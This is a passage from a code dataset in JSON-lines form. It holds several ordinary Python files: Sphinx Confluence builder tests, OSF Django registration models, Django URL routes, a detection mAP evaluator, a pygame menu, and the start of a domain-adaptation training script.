self.assertEqual(ConfluenceDocMap.parent(\"toctree\"), None)\n self.assertEqual(ConfluenceDocMap.parent(\"code\"), None)\n\n def test_publish(self):\n builder = ConfluenceBuilder(self.app)\n builder.config.confluence_publish = True\n with self.assertRaises(ConfluenceConfigurationError):\n builder.init()\n\nclass TestConfluenceBuilderExperimentalParent(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n basedir = os.path.dirname(os.path.realpath(__file__))\n srcdir = os.path.join(basedir, 'testproj')\n self.expected = os.path.join(srcdir, 'expected')\n builddir = os.path.join(srcdir, 'build')\n self.outdir = os.path.join(builddir, 'experimental-parent-out')\n doctreedir = os.path.join(builddir, 'experimental-parent-doctree')\n\n self.config = create_default_test_config()\n self.config['master_doc'] = \"toctree\"\n self.config['confluence_experimental_page_hierarchy'] = True\n\n self.app = Sphinx(\n srcdir, None, self.outdir, doctreedir, 'confluence', self.config)\n self.app.build(force_all=True)\n\n def test_parent(self):\n self.assertEqual(ConfluenceDocMap.parent(\"toctree\"), None)\n self.assertEqual(ConfluenceDocMap.parent(\"code\"), \"toctree\")\n\nclass TestConfluenceBuilderExperimentalDepth(unittest.TestCase):\n @classmethod\n def setUpClass(self):\n basedir = os.path.dirname(os.path.realpath(__file__))\n srcdir = os.path.join(basedir, 'testproj')\n self.expected = os.path.join(srcdir, 'expected')\n builddir = os.path.join(srcdir, 'build')\n self.outdir = os.path.join(builddir, 'experimental-depth-out')\n doctreedir = os.path.join(builddir, 'experimental-depth-doctree')\n\n self.config = create_default_test_config()\n self.config['master_doc'] = \"toctree\"\n self.config['confluence_experimental_max_depth'] = 0\n\n self.app = Sphinx(\n srcdir, None, self.outdir, doctreedir, 'confluence', self.config)\n self.app.build(force_all=True)\n\n def test_parent(self):\n self.assertEqual(ConfluenceDocMap.depth(\"toctree\"), 0)\n self.assertEqual(ConfluenceDocMap.depth(\"code\"), 1)\n\n\nif __name__ == '__main__':\n sys.exit(unittest.main())\n","sub_path":"test/test_builder.py","file_name":"test_builder.py","file_ext":"py","file_size_in_byte":9080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347328861","text":"import logging\nimport datetime\nimport urlparse\n\nfrom django.core.exceptions import ValidationError\nfrom django.db import models\nfrom django.utils import timezone\n\nfrom framework.auth import Auth\nfrom framework.exceptions import PermissionsError\nfrom osf.utils.fields import NonNaiveDateTimeField\nfrom osf.exceptions import NodeStateError\nfrom website.util import api_v2_url\nfrom website import settings\nfrom website.archiver import ARCHIVER_INITIATED\n\nfrom osf.models import (\n OSFUser, RegistrationSchema,\n Retraction, Embargo, DraftRegistrationApproval,\n EmbargoTerminationApproval,\n)\n\nfrom osf.models.archive import ArchiveJob\nfrom osf.models.base import BaseModel, ObjectIDMixin\nfrom osf.models.node import AbstractNode\nfrom osf.models.nodelog import NodeLog\nfrom osf.models.provider import RegistrationProvider\nfrom osf.models.validators import validate_doi\nfrom osf.utils.datetime_aware_jsonfield import DateTimeAwareJSONField\n\nlogger = logging.getLogger(__name__)\n\n\nclass Registration(AbstractNode):\n\n WRITABLE_WHITELIST = [\n 'article_doi',\n 'description',\n 'is_public',\n 'node_license',\n ]\n\n article_doi = models.CharField(max_length=128,\n validators=[validate_doi],\n null=True, blank=True)\n provider = models.ForeignKey('RegistrationProvider', related_name='registrations', null=True)\n registered_date = NonNaiveDateTimeField(db_index=True, null=True, blank=True)\n registered_user = models.ForeignKey(OSFUser,\n related_name='related_to',\n on_delete=models.SET_NULL,\n null=True, blank=True)\n\n registered_schema = models.ManyToManyField(RegistrationSchema)\n\n registered_meta = DateTimeAwareJSONField(default=dict, blank=True)\n registered_from = models.ForeignKey('self',\n related_name='registrations',\n on_delete=models.SET_NULL,\n null=True, blank=True)\n # Sanctions\n registration_approval = models.ForeignKey('RegistrationApproval',\n related_name='registrations',\n null=True, blank=True,\n on_delete=models.SET_NULL)\n retraction = models.ForeignKey('Retraction',\n related_name='registrations',\n null=True, blank=True,\n on_delete=models.SET_NULL)\n embargo = models.ForeignKey('Embargo',\n related_name='registrations',\n null=True, blank=True,\n on_delete=models.SET_NULL)\n embargo_termination_approval = models.ForeignKey('EmbargoTerminationApproval',\n related_name='registrations',\n null=True, blank=True,\n on_delete=models.SET_NULL)\n\n @staticmethod\n def find_failed_registrations():\n expired_if_before = timezone.now() - settings.ARCHIVE_TIMEOUT_TIMEDELTA\n node_id_list = ArchiveJob.objects.filter(sent=False, datetime_initiated__lt=expired_if_before, status=ARCHIVER_INITIATED).values_list('dst_node', flat=True)\n root_nodes_id = AbstractNode.objects.filter(id__in=node_id_list).values_list('root', flat=True).distinct()\n stuck_regs = AbstractNode.objects.filter(id__in=root_nodes_id, is_deleted=False)\n return stuck_regs\n\n @property\n def registered_schema_id(self):\n if self.registered_schema.exists():\n return self.registered_schema.first()._id\n return None\n\n @property\n def is_registration(self):\n \"\"\"For v1 compat.\"\"\"\n return True\n\n @property\n def is_stuck_registration(self):\n return self in self.find_failed_registrations()\n\n @property\n def is_collection(self):\n \"\"\"For v1 compat.\"\"\"\n return False\n\n @property\n def archive_job(self):\n return self.archive_jobs.first() if self.archive_jobs.count() else None\n\n @property\n def sanction(self):\n root = self._dirty_root\n sanction = (\n root.embargo_termination_approval or\n root.retraction or\n root.embargo or\n root.registration_approval\n )\n if sanction:\n return sanction\n else:\n return None\n\n @property\n def is_registration_approved(self):\n root = self._dirty_root\n if root.registration_approval is None:\n return False\n return root.registration_approval.is_approved\n\n @property\n def is_pending_embargo(self):\n root = self._dirty_root\n if root.embargo is None:\n return False\n return root.embargo.is_pending_approval\n\n @property\n def is_pending_embargo_for_existing_registration(self):\n \"\"\" Returns True if Node has an Embargo pending approval for an\n existing registrations. This is used specifically to ensure\n registrations pre-dating the Embargo feature do not get deleted if\n their respective Embargo request is rejected.\n \"\"\"\n root = self._dirty_root\n if root.embargo is None:\n return False\n return root.embargo.pending_registration\n\n @property\n def is_retracted(self):\n root = self._dirty_root\n if root.retraction is None:\n return False\n return root.retraction.is_approved\n\n @property\n def is_pending_registration(self):\n root = self._dirty_root\n if root.registration_approval is None:\n return False\n return root.registration_approval.is_pending_approval\n\n @property\n def is_pending_retraction(self):\n root = self._dirty_root\n if root.retraction is None:\n return False\n return root.retraction.is_pending_approval\n\n @property\n def is_pending_embargo_termination(self):\n root = self._dirty_root\n if root.embargo_termination_approval is None:\n return False\n return root.embargo_termination_approval.is_pending_approval\n\n @property\n def is_embargoed(self):\n \"\"\"A Node is embargoed if:\n - it has an associated Embargo record\n - that record has been approved\n - the node is not public (embargo not yet lifted)\n \"\"\"\n root = self._dirty_root\n if root.is_public or root.embargo is None:\n return False\n return root.embargo.is_approved\n\n @property\n def embargo_end_date(self):\n root = self._dirty_root\n if root.embargo is None:\n return False\n return root.embargo.embargo_end_date\n\n @property\n def archiving(self):\n job = self.archive_job\n return job and not job.done and not job.archive_tree_finished()\n\n @property\n def _dirty_root(self):\n \"\"\"Equivalent to `self.root`, but don't let Django fetch a clean copy\n when `self == self.root`. Use when it's important to reflect unsaved\n state rather than database state.\n \"\"\"\n if self.id == self.root_id:\n return self\n return self.root\n\n def date_withdrawn(self):\n return getattr(self.root.retraction, 'date_retracted', None)\n\n @property\n def withdrawal_justification(self):\n return getattr(self.root.retraction, 'justification', None)\n\n def _initiate_embargo(self, user, end_date, for_existing_registration=False,\n notify_initiator_on_complete=False):\n \"\"\"Initiates the retraction process for a registration\n :param user: User who initiated the retraction\n :param end_date: Date when the registration should be made public\n \"\"\"\n end_date_midnight = datetime.datetime.combine(\n end_date,\n datetime.datetime.min.time()\n ).replace(tzinfo=end_date.tzinfo)\n self.embargo = Embargo.objects.create(\n initiated_by=user,\n end_date=end_date_midnight,\n for_existing_registration=for_existing_registration,\n notify_initiator_on_complete=notify_initiator_on_complete\n )\n self.save() # Set foreign field reference Node.embargo\n admins = self.get_admin_contributors_recursive(unique_users=True)\n for (admin, node) in admins:\n self.embargo.add_authorizer(admin, node)\n self.embargo.save() # Save embargo's approval_state\n return self.embargo\n\n def embargo_registration(self, user, end_date, for_existing_registration=False,\n notify_initiator_on_complete=False):\n \"\"\"Enter registration into an embargo period at end of which, it will\n be made public\n :param user: User initiating the embargo\n :param end_date: Date when the registration should be made public\n :raises: NodeStateError if Node is not a registration\n :raises: PermissionsError if user is not an admin for the Node\n :raises: ValidationError if end_date is not within time constraints\n \"\"\"\n if not self.has_permission(user, 'admin'):\n raise PermissionsError('Only admins may embargo a registration')\n if not self._is_embargo_date_valid(end_date):\n if (end_date - timezone.now()) >= settings.EMBARGO_END_DATE_MIN:\n raise ValidationError('Registrations can only be embargoed for up to four years.')\n raise ValidationError('Embargo end date must be at least three days in the future.')\n\n embargo = self._initiate_embargo(user, end_date,\n for_existing_registration=for_existing_registration,\n notify_initiator_on_complete=notify_initiator_on_complete)\n\n self.registered_from.add_log(\n action=NodeLog.EMBARGO_INITIATED,\n params={\n 'node': self.registered_from._id,\n 'registration': self._id,\n 'embargo_id': embargo._id,\n },\n auth=Auth(user),\n save=True,\n )\n if self.is_public:\n self.set_privacy('private', Auth(user))\n\n def request_embargo_termination(self, auth):\n \"\"\"Initiates an EmbargoTerminationApproval to lift this Embargoed Registration's\n embargo early.\"\"\"\n if not self.is_embargoed:\n raise NodeStateError('This node is not under active embargo')\n if not self.root == self:\n raise NodeStateError('Only the root of an embargoed registration can request termination')\n\n approval = EmbargoTerminationApproval(\n initiated_by=auth.user,\n embargoed_registration=self,\n )\n admins = [admin for admin in self.root.get_admin_contributors_recursive(unique_users=True)]\n for (admin, node) in admins:\n approval.add_authorizer(admin, node=node)\n approval.save()\n approval.ask(admins)\n self.embargo_termination_approval = approval\n self.save()\n return approval\n\n def terminate_embargo(self, auth):\n \"\"\"Handles the actual early termination of an Embargoed registration.\n Adds a log to the registered_from Node.\n \"\"\"\n if not self.is_embargoed:\n raise NodeStateError('This node is not under active embargo')\n\n self.registered_from.add_log(\n action=NodeLog.EMBARGO_TERMINATED,\n params={\n 'project': self._id,\n 'node': self.registered_from._id,\n 'registration': self._id,\n },\n auth=None,\n save=True\n )\n self.embargo.mark_as_completed()\n for node in self.node_and_primary_descendants():\n node.set_privacy(\n self.PUBLIC,\n auth=None,\n log=False,\n save=True\n )\n return True\n\n def _initiate_retraction(self, user, justification=None):\n \"\"\"Initiates the retraction process for a registration\n :param user: User who initiated the retraction\n :param justification: Justification, if given, for retraction\n \"\"\"\n self.retraction = Retraction.objects.create(\n initiated_by=user,\n justification=justification or None, # make empty strings None\n state=Retraction.UNAPPROVED\n )\n self.save()\n admins = self.get_admin_contributors_recursive(unique_users=True)\n for (admin, node) in admins:\n self.retraction.add_authorizer(admin, node)\n self.retraction.save() # Save retraction approval state\n return self.retraction\n\n def retract_registration(self, user, justification=None, save=True):\n \"\"\"Retract public registration. Instantiate new Retraction object\n and associate it with the respective registration.\n \"\"\"\n\n if not self.is_public and not (self.embargo_end_date or self.is_pending_embargo):\n raise NodeStateError('Only public or embargoed registrations may be withdrawn.')\n\n if self.root_id != self.id:\n raise NodeStateError('Withdrawal of non-parent registrations is not permitted.')\n\n retraction = self._initiate_retraction(user, justification)\n self.registered_from.add_log(\n action=NodeLog.RETRACTION_INITIATED,\n params={\n 'node': self.registered_from._id,\n 'registration': self._id,\n 'retraction_id': retraction._id,\n },\n auth=Auth(user),\n )\n self.retraction = retraction\n if save:\n self.save()\n return retraction\n\n def copy_unclaimed_records(self):\n \"\"\"Copies unclaimed_records to unregistered contributors from the registered_from node\"\"\"\n registered_from_id = self.registered_from._id\n for contributor in self.contributors.filter(is_registered=False):\n record = contributor.unclaimed_records.get(registered_from_id)\n if record:\n contributor.unclaimed_records[self._id] = record\n contributor.save()\n\n def delete_registration_tree(self, save=False):\n logger.debug('Marking registration {} as deleted'.format(self._id))\n self.is_deleted = True\n for draft_registration in DraftRegistration.objects.filter(registered_node=self):\n # Allow draft registration to be submitted\n if draft_registration.approval:\n draft_registration.approval = None\n draft_registration.save()\n if not getattr(self.embargo, 'for_existing_registration', False):\n self.registered_from = None\n if save:\n self.save()\n self.update_search()\n for child in self.nodes_primary:\n child.delete_registration_tree(save=save)\n\n def add_tag(self, tag, auth=None, save=True, log=True, system=False):\n if self.retraction is None:\n super(Registration, self).add_tag(tag, auth, save, log, system)\n else:\n raise NodeStateError('Cannot add tags to withdrawn registrations.')\n\n def add_tags(self, tags, auth=None, save=True, log=True, system=False):\n if self.retraction is None:\n super(Registration, self).add_tags(tags, auth, save, log, system)\n else:\n raise NodeStateError('Cannot add tags to withdrawn registrations.')\n\n def remove_tag(self, tag, auth, save=True):\n if self.retraction is None:\n super(Registration, self).remove_tag(tag, auth, save)\n else:\n raise NodeStateError('Cannot remove tags of withdrawn registrations.')\n\n def remove_tags(self, tags, auth, save=True):\n if self.retraction is None:\n super(Registration, self).remove_tags(tags, auth, save)\n else:\n raise NodeStateError('Cannot remove tags of withdrawn registrations.')\n\n class Meta:\n # custom permissions for use in the OSF Admin App\n permissions = (\n ('view_registration', 'Can view registration details'),\n )\n\nclass DraftRegistrationLog(ObjectIDMixin, BaseModel):\n \"\"\" Simple log to show status changes for DraftRegistrations\n\n field - _id - primary key\n field - date - date of the action took place\n field - action - simple action to track what happened\n field - user - user who did the action\n \"\"\"\n date = NonNaiveDateTimeField(default=timezone.now)\n action = models.CharField(max_length=255)\n draft = models.ForeignKey('DraftRegistration', related_name='logs',\n null=True, blank=True, on_delete=models.CASCADE)\n user = models.ForeignKey('OSFUser', null=True, on_delete=models.CASCADE)\n\n SUBMITTED = 'submitted'\n REGISTERED = 'registered'\n APPROVED = 'approved'\n REJECTED = 'rejected'\n\n def __repr__(self):\n return ('').format(self=self)\n\n\nclass DraftRegistration(ObjectIDMixin, BaseModel):\n URL_TEMPLATE = settings.DOMAIN + 'project/{node_id}/drafts/{draft_id}'\n\n datetime_initiated = NonNaiveDateTimeField(auto_now_add=True)\n datetime_updated = NonNaiveDateTimeField(auto_now=True)\n deleted = NonNaiveDateTimeField(null=True, blank=True)\n\n # Original Node a draft registration is associated with\n branched_from = models.ForeignKey('Node', related_name='registered_draft',\n null=True, on_delete=models.CASCADE)\n\n initiator = models.ForeignKey('OSFUser', null=True, on_delete=models.CASCADE)\n provider = models.ForeignKey('RegistrationProvider', related_name='draft_registrations', null=True)\n\n # Dictionary field mapping question id to a question's comments and answer\n # {\n # : {\n # 'comments': [{\n # 'user': {\n # 'id': ,\n # 'name': \n # },\n # value: ,\n # lastModified: \n # }],\n # 'value': \n # }\n # }\n registration_metadata = DateTimeAwareJSONField(default=dict, blank=True)\n registration_schema = models.ForeignKey('RegistrationSchema', null=True, on_delete=models.CASCADE)\n registered_node = models.ForeignKey('Registration', null=True, blank=True,\n related_name='draft_registration', on_delete=models.CASCADE)\n\n approval = models.ForeignKey('DraftRegistrationApproval', null=True, blank=True, on_delete=models.CASCADE)\n\n # Dictionary field mapping extra fields defined in the RegistrationSchema.schema to their\n # values. Defaults should be provided in the schema (e.g. 'paymentSent': false),\n # and these values are added to the DraftRegistration\n # TODO: Use \"FIELD_ALIASES\"?\n _metaschema_flags = DateTimeAwareJSONField(default=dict, blank=True)\n notes = models.TextField(blank=True)\n\n def __repr__(self):\n return ('').format(self=self)\n\n # lazily set flags\n @property\n def flags(self):\n if not self._metaschema_flags:\n self._metaschema_flags = {}\n meta_schema = self.registration_schema\n if meta_schema:\n schema = meta_schema.schema\n flags = schema.get('flags', {})\n dirty = False\n for flag, value in flags.items():\n if flag not in self._metaschema_flags:\n self._metaschema_flags[flag] = value\n dirty = True\n if dirty:\n self.save()\n return self._metaschema_flags\n\n @flags.setter\n def flags(self, flags):\n self._metaschema_flags.update(flags)\n\n @property\n def url(self):\n return self.URL_TEMPLATE.format(\n node_id=self.branched_from._id,\n draft_id=self._id\n )\n\n @property\n def absolute_url(self):\n return urlparse.urljoin(settings.DOMAIN, self.url)\n\n @property\n def absolute_api_v2_url(self):\n node = self.branched_from\n path = '/nodes/{}/draft_registrations/{}/'.format(node._id, self._id)\n return api_v2_url(path)\n\n # used by django and DRF\n def get_absolute_url(self):\n return self.absolute_api_v2_url\n\n @property\n def requires_approval(self):\n return self.registration_schema.requires_approval\n\n @property\n def is_pending_review(self):\n return self.approval.is_pending_approval if (self.requires_approval and self.approval) else False\n\n @property\n def is_approved(self):\n if self.requires_approval:\n if not self.approval:\n return bool(self.registered_node)\n else:\n return self.approval.is_approved\n else:\n return False\n\n @property\n def is_rejected(self):\n if self.requires_approval:\n if not self.approval:\n return False\n else:\n return self.approval.is_rejected\n else:\n return False\n\n @property\n def status_logs(self):\n \"\"\" List of logs associated with this node\"\"\"\n return self.logs.all().order_by('date')\n\n @classmethod\n def create_from_node(cls, node, user, schema, data=None, provider=None):\n if not provider:\n provider = RegistrationProvider.load('osf')\n draft = cls(\n initiator=user,\n branched_from=node,\n registration_schema=schema,\n registration_metadata=data or {},\n provider=provider,\n )\n draft.save()\n return draft\n\n def update_metadata(self, metadata):\n changes = []\n # Prevent comments on approved drafts\n if not self.is_approved:\n for question_id, value in metadata.items():\n old_value = self.registration_metadata.get(question_id)\n if old_value:\n old_comments = {\n comment['created']: comment\n for comment in old_value.get('comments', [])\n }\n new_comments = {\n comment['created']: comment\n for comment in value.get('comments', [])\n }\n old_comments.update(new_comments)\n metadata[question_id]['comments'] = sorted(\n old_comments.values(),\n key=lambda c: c['created']\n )\n if old_value.get('value') != value.get('value'):\n changes.append(question_id)\n else:\n changes.append(question_id)\n self.registration_metadata.update(metadata)\n return changes\n\n def submit_for_review(self, initiated_by, meta, save=False):\n approval = DraftRegistrationApproval(\n meta=meta\n )\n approval.save()\n self.approval = approval\n self.add_status_log(initiated_by, DraftRegistrationLog.SUBMITTED)\n if save:\n self.save()\n\n def register(self, auth, save=False, child_ids=None):\n node = self.branched_from\n\n # Create the registration\n register = node.register_node(\n schema=self.registration_schema,\n auth=auth,\n data=self.registration_metadata,\n child_ids=child_ids,\n provider=self.provider\n )\n self.registered_node = register\n self.add_status_log(auth.user, DraftRegistrationLog.REGISTERED)\n if save:\n self.save()\n return register\n\n def approve(self, user):\n self.approval.approve(user)\n self.refresh_from_db()\n self.add_status_log(user, DraftRegistrationLog.APPROVED)\n self.approval.save()\n\n def reject(self, user):\n self.approval.reject(user)\n self.add_status_log(user, DraftRegistrationLog.REJECTED)\n self.approval.save()\n\n def add_status_log(self, user, action):\n log = DraftRegistrationLog(action=action, user=user, draft=self)\n log.save()\n\n def validate_metadata(self, *args, **kwargs):\n \"\"\"\n Validates draft's metadata\n \"\"\"\n return self.registration_schema.validate_metadata(*args, **kwargs)\n","sub_path":"osf/models/registrations.py","file_name":"registrations.py","file_ext":"py","file_size_in_byte":24682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"378350236","text":"from django.urls import path\nfrom .views import *\n\napp_name = 'my'\n\nurlpatterns = [\n path('', redirect_check, name='redirect'),\n path('book/', BookListUploaded.as_view(), name='book-list'),\n path('book/check/', upload_check, name='book-check'),\n path('book/upload/', UploadBook.as_view(), name='upload-a-book'),\n path('book//', BookDetail.as_view(), name='book-detail'),\n path('book//update', UpdateBook.as_view(), name='book-update'),\n path('book//delete/', BookDelete.as_view(), name='book-delete'),\n]\n","sub_path":"backend/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"30159088","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 31 12:19:01 2017\n\n@author: Daniel Salo (Modifications)\n\nFunctions for testing Faster RCNN net on Cluttered MNIST and getting Mean Average Precision\n\"\"\"\n\n# --------------------------------------------------------\n# Fast R-CNN\n# Copyright (c) 2015 Microsoft\n# Licensed under The MIT License [see LICENSE for details]\n# Written by Ross Girshick\n# --------------------------------------------------------\n\nimport numpy as np\nfrom tqdm import tqdm\n\n\ndef voc_ap(rec, prec):\n \"\"\" ap = voc_ap(rec, prec, [use_07_metric])\n Compute VOC AP given precision and recall.\n \"\"\"\n # correct AP calculation\n # first append sentinel values at the end\n mrec = np.concatenate(([0.], rec, [1.]))\n mpre = np.concatenate(([0.], prec, [0.]))\n\n # compute the precision envelope\n for i in range(mpre.size - 1, 0, -1):\n mpre[i - 1] = np.maximum(mpre[i - 1], mpre[i])\n\n # to calculate area under PR curve, look for points\n # where X axis (recall) changes value\n i = np.where(mrec[1:] != mrec[:-1])[0]\n\n # and sum (\\Delta recall) * prec\n ap = np.sum((mrec[i + 1] - mrec[i]) * mpre[i + 1])\n return ap\n\n\ndef cluttered_mnist_eval(test_image_object, test_directory, ovthresh=0.5):\n \"\"\"\n Evalulates predicted detections on cluttered MNIST dataset\n :param test_image_object: array, obj[cls][image] = N x 5 [x1, y1, x2, y2, cls_score]\n :param test_directory: str, location of the \"Test\" folder. Should end with \"../Test/\".\n :param ovthresh: float, between 1 and 0, threshold for rejecting bbox\n :return: class_metrics: list, each index is a digit class which holds a tuple of rec, prec, and ap\n \"\"\"\n # Get Ground Truth numbers for classes\n total_num = np.zeros([11])\n print('Loading Grouth Truth Data to count number of grouth truth per class')\n for x in tqdm(range(len(test_image_object[0]))):\n key = 'img' + str(x)\n gt_boxes = np.loadtxt(test_directory + 'Annotations/' + key + '.txt', ndmin=2)\n for g in range(gt_boxes.shape[0]):\n label = int(gt_boxes[g, 4])\n total_num[label+1] += 1\n\n # Designate arrays to hold ap for each class\n class_metrics = list()\n\n # Calculate IoU for all classes and all images\n for c in range(len(test_image_object)): # loop through all classes (skip background class)\n print('Now Calculating average precision for class: %d' % c)\n class_tp = list()\n class_fp = list()\n\n # go down dets and mark TPs and FPs\n for i in range(len(test_image_object[c])): # loop through all images\n\n # Get image detections and preallocate arrays\n image_dets = test_image_object[c][i]\n nd = len(image_dets)\n tp = np.zeros(nd)\n fp = np.zeros(nd)\n\n # Get groundtruth\n key = 'img' + str(i)\n gt_boxes = np.loadtxt(test_directory + '/Annotations/' + key + '.txt', ndmin=2)\n\n bbgt = gt_boxes[:, :4]\n labels = gt_boxes[:, 4]\n labels_det = [False] * len(labels)\n ovmax = -np.inf # In case no overlaps result\n\n for d in range(nd): # loop through all dets in a given image\n\n # Store particular dets as bb\n bb = image_dets[d, :4]\n\n # compute overlaps intersection\n ixmin = np.maximum(bbgt[:, 0], bb[0])\n iymin = np.maximum(bbgt[:, 1], bb[1])\n ixmax = np.minimum(bbgt[:, 2], bb[2])\n iymax = np.minimum(bbgt[:, 3], bb[3])\n iw = np.maximum(ixmax - ixmin + 1., 0.)\n ih = np.maximum(iymax - iymin + 1., 0.)\n inters = iw * ih\n\n # union\n uni = ((bb[2] - bb[0] + 1.) * (bb[3] - bb[1] + 1.) +\n (bbgt[:, 2] - bbgt[:, 0] + 1.) *\n (bbgt[:, 3] - bbgt[:, 1] + 1.) - inters)\n\n overlaps = inters / uni\n ovmax = np.max(overlaps)\n jmax = np.argmax(overlaps)\n\n # Threshold\n if ovmax > ovthresh:\n if not labels_det[jmax]:\n tp[d] = 1.\n labels_det[jmax] = True\n else:\n fp[d] = 1.\n else:\n fp[d] = 1.\n\n # Add scores from all dets in one image to the class true positives and false positives\n class_tp.append(tp)\n class_fp.append(fp)\n\n # compute precision recall\n fp = np.cumsum(class_fp)\n tp = np.cumsum(class_tp)\n rec = tp / float(total_num[c])\n\n # avoid divide by zero in case the first detection matches a difficult\n # ground truth\n prec = tp / np.maximum(tp + fp, np.finfo(np.float64).eps)\n ap = voc_ap(rec, prec)\n class_metrics.append((rec, prec, ap))\n\n print('Finished Calculating average precisions.')\n return class_metrics\n","sub_path":"Lib/Datasets/eval_clutteredMNIST.py","file_name":"eval_clutteredMNIST.py","file_ext":"py","file_size_in_byte":5000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"107785899","text":"#set up pygame\nimport pygame\npygame.init()\n\n#animated image class\nclass img(object):\n images = []\n index = 0\n max_index = 0\n def __init__(self, images):\n self.images = images\n self.max_index = len(images) - 1\n def update(self):\n self.index += 1\n if self.index > self.max_index:\n self.index = 0\n def return_img(self):\n return self.images[self.index]\n\n#images\nbackground = img([pygame.image.load('textures\\\\menu\\\\0.png'), pygame.image.load('textures\\\\menu\\\\1.png'), pygame.image.load('textures\\\\menu\\\\2.png'), pygame.image.load('textures\\\\menu\\\\1.png'), pygame.image.load('textures\\\\menu\\\\0.png'), ])\ncursor = img([pygame.image.load('textures\\cursor.png')])\ntxt_font = pygame.font.SysFont('Arial', 16, True)\n\nscreen_width = 400\nscreen_height = background.return_img().get_height()\nscreen = pygame.display.set_mode((screen_width, screen_height))\n\n#function to print background\ndef print_frame():\n screen.blit(background.return_img(), (0, 0))\n screen.blit(txt_font.render(\"Points\", 0, (255, 255, 255)), (40, 8))\n screen.blit(txt_font.render(\"Coins\", 0, (255, 255, 255)), (136, 8))\n screen.blit(txt_font.render(\"Lives\", 0, (255, 255, 255)), (232, 8))\n screen.blit(txt_font.render(\"Time\", 0, (255, 255, 255)), (328, 8))\n screen.blit(txt_font.render(\"0\", 0, (255, 255, 255)), (40, 24))\n screen.blit(txt_font.render(\"0\", 0, (255, 255, 255)), (136, 24))\n screen.blit(txt_font.render(\"3\", 0, (255, 255, 255)), (232, 24))\n screen.blit(txt_font.render(\"400\", 0, (255, 255, 255)), (328, 24))\n\n screen.blit(txt_font.render(\"Play\", 0, (255, 255, 255)), (40, 112))\n screen.blit(txt_font.render(\"Quit\", 0, (255, 255, 255)), (40, 136))\n screen.blit(cursor.return_img(), (24, 117.5 + (selected_item * 24)))\n pygame.display.update()\n\nitems = ['play', 'quit']\nselected_item = 0\nmax_items = 1\nrunning = True\ntime_count = 0\n\ndef run_level():\n global running\n global selected_item\n global max_items\n global time_count\n while running:\n #input\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n if selected_item > 0:\n selected_item -= 1\n elif event.key == pygame.K_DOWN:\n if selected_item < max_items:\n selected_item += 1\n elif event.key == pygame.K_RETURN or event.key == pygame.K_SPACE:\n return items[selected_item]\n\n #update images\n if time_count % 250 == 0:\n background.update()\n \n #print images\n print_frame()\n pygame.time.delay(5)\n time_count += 5\n return 'quit'","sub_path":"Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":2613,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"278373472","text":"import argparse\nimport os\nimport numpy as np\nimport random\nfrom tqdm import tqdm, trange\nfrom PIL import Image\nimport matplotlib.pyplot as plt\n\nfrom mypath import Path\nfrom dataloaders import make_data_loader\nimport torch.nn.functional as F\nfrom utils_.saver import Saver\nfrom utils_.summaries import TensorboardSummary\nfrom utils_.metrics import Evaluator\nfrom trainer_nanqing import *\nfrom utils_.visualize import visualize_plot\n\nclass adda:\n def __init__(self, args):\n kwargs = {'num_workers': 4, 'pin_memory': True}\n self.source_loader, self.target_loader, self.test_loader, self.nclass = make_data_loader(args, **kwargs)\n self.tbar = tqdm(self.test_loader, desc='\\r')\n self.trainer = adda_trainer(args, 2)\n self.evaluator = Evaluator(2)\n self.best_IoU = {'disc': 0.77, 'cup': 0.65}\n self.attempt = 3\n self.validation(args, self.trainer.target_model, self.tbar )\n self.trainer_dda(args)\n\n def loop_iterable(self, iterable):\n while True:\n yield from iterable\n\n\n def save_model(self, epoch):\n print('Validation:')\n Acc = self.evaluator.Pixel_Accuracy([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n Acc_class = self.evaluator.Pixel_Accuracy_Class([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n mIoU = self.evaluator.Mean_Intersection_over_Union([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n FWIoU = self.evaluator.Frequency_Weighted_Intersection_over_Union([self.evaluator.confusion_matrix_disc, self.evaluator.confusion_matrix_cup])\n print(\"epoch:{}, Acc:{}, Acc_class:{}, mIoU:{}, fwIoU: {}\".format(epoch, Acc, Acc_class, mIoU, FWIoU))\n if ( mIoU['cup'] > self.best_IoU['cup']):\n #model save\n self.best_IoU = mIoU\n print('---- MODEL SAVE ---')\n torch.save({'epoch': epoch + 1, 'state_dict': self.trainer.target_model.state_dict(), 'best_auc': str(mIoU['cup']),\n 'optimizer' : self.trainer.target_optim.state_dict()}, 'm-' + str(mIoU['cup']) + \"v_\" + str(self.attempt) + '.pth.tar')\n return mIoU\n\n def trainer_dda(self, args):\n self.trainer.target_model.train()\n self.trainer.disc_model.train()\n self.evaluator.reset()\n max_epochs = args.epochs\n for epoch in range(1, max_epochs+1):\n self.trainer.target_model.train()\n batch_iterator = zip(self.loop_iterable(self.source_loader), self.loop_iterable(self.target_loader))\n total_loss = 0\n total_loss_tgt = 0\n loss_critic = 0\n loss_tgt = 0\n total_accuracy = 0\n len_dataloader = max(len(self.source_loader), len(self.target_loader))\n torch.manual_seed(1 + epoch)\n for step in trange(len_dataloader, leave=True):\n p = float(step + epoch*len_dataloader)/args.epochs/len_dataloader #(1+len)/epochs/\n alpha = 2./(1.+np.exp(-10*p)) - 1\n try:\n data = next(batch_iterator)\n except StopIteration:\n batch_iterator = zip(self.loop_iterable(self.source_loader), self.loop_iterable(self.target_loader))\n data = next(batch_iterator)\n\n for i in range(args.k_disc):\n source_x, src_labels = data[0][0].cuda(), data[0][1].transpose(3,1).cuda()\n target_x, target_lab = data[1][0].cuda(), data[1][1].transpose(3,1).cuda()\n #target_x = self.trainer.adv_aug.perturb(target_x, target_lab, self.trainer.target_criterion, random_start=False )\n 